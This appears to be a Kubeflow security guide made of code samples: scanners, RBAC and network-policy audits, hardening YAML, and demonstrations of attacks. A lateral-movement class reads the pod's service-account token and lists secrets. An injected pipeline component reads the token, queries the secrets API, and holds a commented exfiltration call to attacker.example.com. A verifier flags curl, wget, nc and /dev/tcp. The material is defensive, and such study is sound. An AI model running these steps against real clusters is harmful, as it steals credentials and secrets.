Kubeflow Security

import subprocess
import json
from typing import Dict, List, Any
 
class KubeflowSecurityScanner:
    """Scan a Kubeflow deployment for security misconfigurations."""
 
    def __init__(self, namespace: str = "kubeflow"):
        self.namespace = namespace
 
    def _kubectl(self, *args) -> str:
        """Run a kubectl command and return output."""
        result = subprocess.run(
            ["kubectl", *args],
            capture_output=True, text=True, timeout=30,
        )
        return result.stdout
 
    def check_dashboard_exposure(self) -> Dict[str, Any]:
        """Check if the Kubeflow dashboard is externally accessible."""
        # Controleer op LoadBalancer- of NodePort-services
        services = json.loads(
            self._kubectl("get", "svc", "-n", "istio-system", "-o", "json")
        )
 
        findings = []
        for svc in services.get("items", []):
            svc_type = svc.get("spec", {}).get("type", "ClusterIP")
            name = svc.get("metadata", {}).get("name", "")
 
            if svc_type in ("LoadBalancer", "NodePort"):
                external_ip = None
                if svc_type == "LoadBalancer":
                    ingress = svc.get("status", {}).get("loadBalancer", {}).get("ingress", [])
                    if ingress:
                        external_ip = ingress[0].get("ip") or ingress[0].get("hostname")
 
                findings.append({
                    "service": name,
                    "type": svc_type,
                    "external_ip": external_ip,
                    "severity": "high",
                    "finding": f"Istio service '{name}' is externally accessible via {svc_type}",
                })
 
        return {"findings": findings}
 
    def check_rbac_permissions(self) -> List[Dict]:
        """Audit RBAC permissions for Kubeflow service accounts."""
        findings = []
 
        # Haal alle serviceaccounts in de kubeflow-namespace op
        sa_json = json.loads(
            self._kubectl("get", "sa", "-n", self.namespace, "-o", "json")
        )
 
        for sa in sa_json.get("items", []):
            sa_name = sa.get("metadata", {}).get("name", "")
 
            # Controleer wat elke serviceaccount mag doen
            result = subprocess.run(
                ["kubectl", "auth", "can-i", "--list",
                 f"--as=system:serviceaccount:{self.namespace}:{sa_name}"],
                capture_output=True, text=True, timeout=30,
            )
 
            # Controleer op gevaarlijke permissies
            dangerous_perms = ["*", "secrets", "pods/exec", "create pods"]
            for line in result.stdout.split("\n"):
                for perm in dangerous_perms:
                    if perm in line.lower():
                        findings.append({
                            "service_account": sa_name,
                            "permission": line.strip(),
                            "severity": "high",
                            "finding": f"Service account '{sa_name}' has elevated permission",
                        })
 
        return findings
 
    def check_network_policies(self) -> Dict[str, Any]:
        """Check for network policy enforcement."""
        policies = json.loads(
            self._kubectl("get", "networkpolicy", "-n", self.namespace, "-o", "json")
        )
 
        policy_count = len(policies.get("items", []))
        if policy_count == 0:
            return {
                "severity": "high",
                "finding": "No NetworkPolicies in kubeflow namespace",
                "detail": "All pods can communicate freely with each other and external services",
                "remediation": "Apply default-deny NetworkPolicy and whitelist required traffic",
            }
 
        return {
            "severity": "info",
            "finding": f"{policy_count} NetworkPolicies found",
            "policies": [
                p.get("metadata", {}).get("name") for p in policies.get("items", [])
            ],
        }

"""
Demonstration: Lateral movement from a compromised Kubeflow notebook server.
This shows what an attacker can do after gaining access to a notebook.
"""
import subprocess
import json
from typing import List, Dict
 
class NotebookLateralMovement:
    """Assess lateral movement paths from a Kubeflow notebook server."""
 
    def discover_service_account(self) -> Dict:
        """Discover the service account token mounted in this pod."""
        token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"
        namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace"
 
        try:
            with open(token_path) as f:
                token = f.read().strip()
            with open(namespace_path) as f:
                namespace = f.read().strip()
            return {
                "has_token": True,
                "namespace": namespace,
                "token_preview": token[:20] + "...",
            }
        except FileNotFoundError:
            return {"has_token": False}
 
    def enumerate_accessible_secrets(self) -> List[Dict]:
        """List Kubernetes secrets accessible from this notebook."""
        result = subprocess.run(
            ["kubectl", "get", "secrets", "-o", "json"],
            capture_output=True, text=True, timeout=30,
        )
        if result.returncode != 0:
            return [{"error": "Cannot list secrets", "detail": result.stderr}]
 
        secrets = json.loads(result.stdout)
        return [
            {
                "name": s.get("metadata", {}).get("name"),
                "type": s.get("type"),
                "namespace": s.get("metadata", {}).get("namespace"),
            }
            for s in secrets.get("items", [])
        ]
 
    def enumerate_pipeline_artifacts(self) -> List[Dict]:
        """Discover pipeline artifacts accessible from this notebook."""
        # Controleer op MinIO-credentials (vaak gebruikt door Kubeflow Pipelines)
        minio_creds = {}
        try:
            result = subprocess.run(
                ["kubectl", "get", "secret", "mlpipeline-minio-artifact",
                 "-o", "json"],
                capture_output=True, text=True, timeout=30,
            )
            if result.returncode == 0:
                secret = json.loads(result.stdout)
                minio_creds = {
                    "found": True,
                    "keys": list(secret.get("data", {}).keys()),
                }
        except Exception:
            minio_creds = {"found": False}
 
        return [{"minio_credentials": minio_creds}]
 
    def check_cross_namespace_access(self, target_namespace: str) -> Dict:
        """Test if this notebook can access resources in other namespaces."""
        checks = {}
 
        # Probeer pods in een andere namespace op te sommen
        result = subprocess.run(
            ["kubectl", "get", "pods", "-n", target_namespace],
            capture_output=True, text=True, timeout=30,
        )
        checks["list_pods"] = result.returncode == 0
 
        # Probeer secrets in een andere namespace op te sommen
        result = subprocess.run(
            ["kubectl", "get", "secrets", "-n", target_namespace],
            capture_output=True, text=True, timeout=30,
        )
        checks["list_secrets"] = result.returncode == 0
 
        return {
            "target_namespace": target_namespace,
            "cross_namespace_access": checks,
            "severity": "critical" if any(checks.values()) else "info",
        }

# Example: Restricted PodSecurityPolicy for Kubeflow notebooks
# Apply via Kubernetes admission controller or OPA/Gatekeeper
apiVersion: v1
kind: Pod
metadata:
  name: notebook-security-example
  namespace: kubeflow-user-namespace
spec:
  serviceAccountName: restricted-notebook-sa
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 100
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: notebook
    image: kubeflownotebookswg/jupyter:latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: false  # Jupyter needs write access
      capabilities:
        drop:
          - ALL
    resources:
      limits:
        cpu: "4"
        memory: "8Gi"
        nvidia.com/gpu: "1"
      requests:
        cpu: "1"
        memory: "2Gi"
    volumeMounts:
    - name: workspace
      mountPath: /home/jovyan
  volumes:
  - name: workspace
    persistentVolumeClaim:
      claimName: user-workspace-pvc

"""
Demonstration: How pipeline definition injection works.
A malicious pipeline step can exfiltrate data or credentials.
"""
from kfp import dsl
from kfp.dsl import component
 
# Legitiem pijplijncomponent
@component(base_image="python:3.11-slim")
def train_model(data_path: str, model_path: str) -> str:
    """Normal training step."""
    # ... legitimate training code ...
    return model_path
 
# Geïnjecteerd kwaadaardig component — kan worden toegevoegd door de pijplijnbron te wijzigen
@component(base_image="python:3.11-slim", packages_to_install=["requests"])
def exfiltrate_secrets() -> str:
    """
    Malicious component that exfiltrates Kubernetes secrets.
    This demonstrates the risk of pipeline injection.
    """
    import subprocess
    import requests
 
    # Lees de serviceaccount-token
    with open("/var/run/secrets/kubernetes.io/serviceaccount/token") as f:
        token = f.read()
 
    # Enumereer secrets via de Kubernetes-API
    result = subprocess.run(
        ["wget", "-qO-", "--header", f"Authorization: Bearer {token}",
         "https://kubernetes.default.svc/api/v1/secrets"],
        capture_output=True, text=True,
    )
 
    # Bij een echte aanval zou dit worden geëxfiltreerd naar een externe server
    # requests.post("https://attacker.example.com/collect", data=result.stdout)
    return "done"
 
# Pijplijn met geïnjecteerde stap
@dsl.pipeline(name="compromised-pipeline")
def compromised_pipeline(data_path: str = "s3://data/train"):
    # Legitieme stap
    train_task = train_model(data_path=data_path, model_path="s3://models/output")
 
    # Geïnjecteerde stap — draait met de permissies van de pijplijn-serviceaccount
    # Dit zou worden verborgen in een grote pijplijndefinitie
    exfil_task = exfiltrate_secrets()
    exfil_task.after(train_task)

import hashlib
import hmac
import json
from typing import Dict
 
class PipelineIntegrityVerifier:
    """Verify the integrity of Kubeflow pipeline definitions."""
 
    def __init__(self, signing_key: bytes):
        self.signing_key = signing_key
 
    def sign_pipeline(self, pipeline_yaml: str) -> str:
        """Create an HMAC signature for a pipeline definition."""
        return hmac.new(
            self.signing_key,
            pipeline_yaml.encode(),
            hashlib.sha256,
        ).hexdigest()
 
    def verify_pipeline(self, pipeline_yaml: str, expected_signature: str) -> bool:
        """Verify a pipeline definition's signature."""
        actual_signature = self.sign_pipeline(pipeline_yaml)
        return hmac.compare_digest(actual_signature, expected_signature)
 
    def scan_pipeline_for_risks(self, pipeline_spec: Dict) -> list:
        """Scan a compiled pipeline spec for security risks."""
        risks = []
 
        templates = pipeline_spec.get("spec", {}).get("templates", [])
        allowed_images = {
            "python:3.11-slim",
            "gcr.io/ml-pipeline/",  # Prefix matching
        }
 
        for template in templates:
            container = template.get("container", {})
            image = container.get("image", "")
 
            # Controleer op ongeautoriseerde images
            if not any(image.startswith(allowed) for allowed in allowed_images):
                risks.append({
                    "risk": "unauthorized_image",
                    "template": template.get("name"),
                    "image": image,
                    "severity": "high",
                })
 
            # Controleer op privilege-escalatie
            security_ctx = container.get("securityContext", {})
            if security_ctx.get("privileged", False):
                risks.append({
                    "risk": "privileged_container",
                    "template": template.get("name"),
                    "severity": "critical",
                })
 
            # Controleer op verdachte commando's
            commands = container.get("command", []) + container.get("args", [])
            suspicious = ["curl", "wget", "nc", "ncat", "/dev/tcp"]
            for cmd in commands:
                for susp in suspicious:
                    if susp in str(cmd):
                        risks.append({
                            "risk": "suspicious_command",
                            "template": template.get("name"),
                            "command": cmd,
                            "severity": "medium",
                        })
 
        return risks

#!/bin/bash
# Audit KServe inference services for security issues
 
echo "=== KServe Security Audit ==="
 
# List all InferenceServices across namespaces
echo "[*] InferenceServices:"
kubectl get inferenceservice --all-namespaces -o json | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
for item in data.get('items', []):
    name = item['metadata']['name']
    ns = item['metadata']['namespace']
    url = item.get('status', {}).get('url', 'N/A')
    print(f'  {ns}/{name}: {url}')
"
 
# Check if InferenceServices are exposed externally
echo "[*] External exposure:"
kubectl get svc -n istio-system -o json | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
for svc in data.get('items', []):
    if svc['spec'].get('type') in ('LoadBalancer', 'NodePort'):
        name = svc['metadata']['name']
        svc_type = svc['spec']['type']
        print(f'  WARNING: {name} is exposed via {svc_type}')
"
 
# Check for model storage secrets
echo "[*] Model storage secrets:"
kubectl get secrets --all-namespaces -o json | \
  python3 -c "
import json, sys
data = json.load(sys.stdin)
for secret in data.get('items', []):
    name = secret['metadata']['name']
    if any(kw in name.lower() for kw in ['storage', 'model', 's3', 'gcs', 'azure']):
        ns = secret['metadata']['namespace']
        print(f'  {ns}/{name} (type: {secret.get(\"type\", \"unknown\")})')
"

# Default deny all ingress/egress in Kubeflow namespace
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: kubeflow
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
---
# Allow Kubeflow dashboard to reach pipeline service
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dashboard-to-pipelines
  namespace: kubeflow
spec:
  podSelector:
    matchLabels:
      app: ml-pipeline
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: centraldashboard
    ports:
    - protocol: TCP
      port: 8888
---
# Allow pipeline pods to access artifact storage
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-pipeline-to-minio
  namespace: kubeflow
spec:
  podSelector:
    matchLabels:
      app: minio
  ingress:
  - from:
    - podSelector:
        matchLabels:
          pipelines.kubeflow.org/enabled: "true"
    ports:
    - protocol: TCP
      port: 9000